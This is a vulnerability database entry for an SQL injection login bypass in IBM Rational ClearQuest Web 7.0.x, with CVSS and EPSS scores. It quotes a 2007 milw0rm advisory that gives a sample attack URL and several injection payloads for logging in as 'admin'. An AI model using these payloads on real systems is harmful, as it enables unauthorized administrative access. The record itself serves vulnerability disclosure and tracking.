CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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SQL injection vulnerability in /main in IBM Rational ClearQuest (CQ) Web 7.0.0.0-IFIX02 and 7.0.0.1 allows remote attackers to execute arbitrary SQL commands via the username parameter in a GenerateMainFrame command.
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
7.5
AV:N/AC:L/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
2.34%
–
–
2022-02-13
–
–
2.34%
–
–
2022-04-03
–
–
2.34%
–
–
2022-08-21
–
–
2.34%
–
–
2023-03-12
–
–
–
94.89%
–
2023-05-07
–
–
–
94.19%
–
2023-06-11
–
–
–
93.31%
–
2023-07-16
–
–
–
92.17%
–
2023-10-01
–
–
–
86.48%
–
2023-12-10
–
–
–
83.47%
–
2024-06-02
–
–
–
81.1%
–
2024-06-23
–
–
–
81.68%
–
2024-09-08
–
–
–
79.41%
–
2024-10-13
–
–
–
76.86%
–
2024-12-22
–
–
–
49.23%
–
2025-01-19
–
–
–
49.23%
–
2025-03-18
–
–
–
–
6.07%
2025-03-18
–
–
–
–
6.07,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
+==============================================================+
+ IBM Rational ClearQuest Web Login Bypass (SQL Injection) +
+==============================================================+
DISCOVERED BY:
==============
SecureState
sasquatch - swhite@securestate.com
rel1k - dkennedy@securestate.com
HOMEPAGE:
=========
www.securestate.com
AFFECTED AREA:
===============
The username field on the login page is where the application is susceptible to SQL injection...
SAMPLE URL:
===========
http://SERVERNAMEHERE/cqweb/main?command=GenerateMainFrame&ratl_userdb=DATABASENAMEHERE,&test=&clientServerAddress=http://SERVERNAMEHERE/cqweb/login&username='INJECTIONGOESHERE&password=PASSWORDHERE&schema=SCHEMEAHERE&userDb=DATABASENAMEHERE
Log in as "admin":
==================
' OR login_name LIKE '%admin%'--
(other variations work as well)
' OR login_name LIKE 'admin%'--
' OR LOWER(login_name) LIKE '%admin%'--
' OR LOWER(login_name) LIKE 'admin%'--
etc...use your imagination...
Confirmed against:
==================
version 7.0.0.1 Label BALTIC_PATCH.D0609.929
version 7.0.0.0-IFIX02 Label BALTIC_PATCH.D060630
FULL SQL Statement is spit back in error message:
=================================================
SELECT
master_users.master_dbid, master_users.login_name, master_users.encrypted_password,
master_users.email, master_users.fullname, master_users.phone, master_users.misc_info,
master_users.is_active, master_users.is_superuser, master_users.is_appbuilder,
master_users.is_user_maint, ratl_mastership, ratl_keysite, master_users.ratl_priv_mask
FROM
master_users
WHERE
login_name = 'INJECTION GOES HERE
# milw0rm.com [2007-08-14]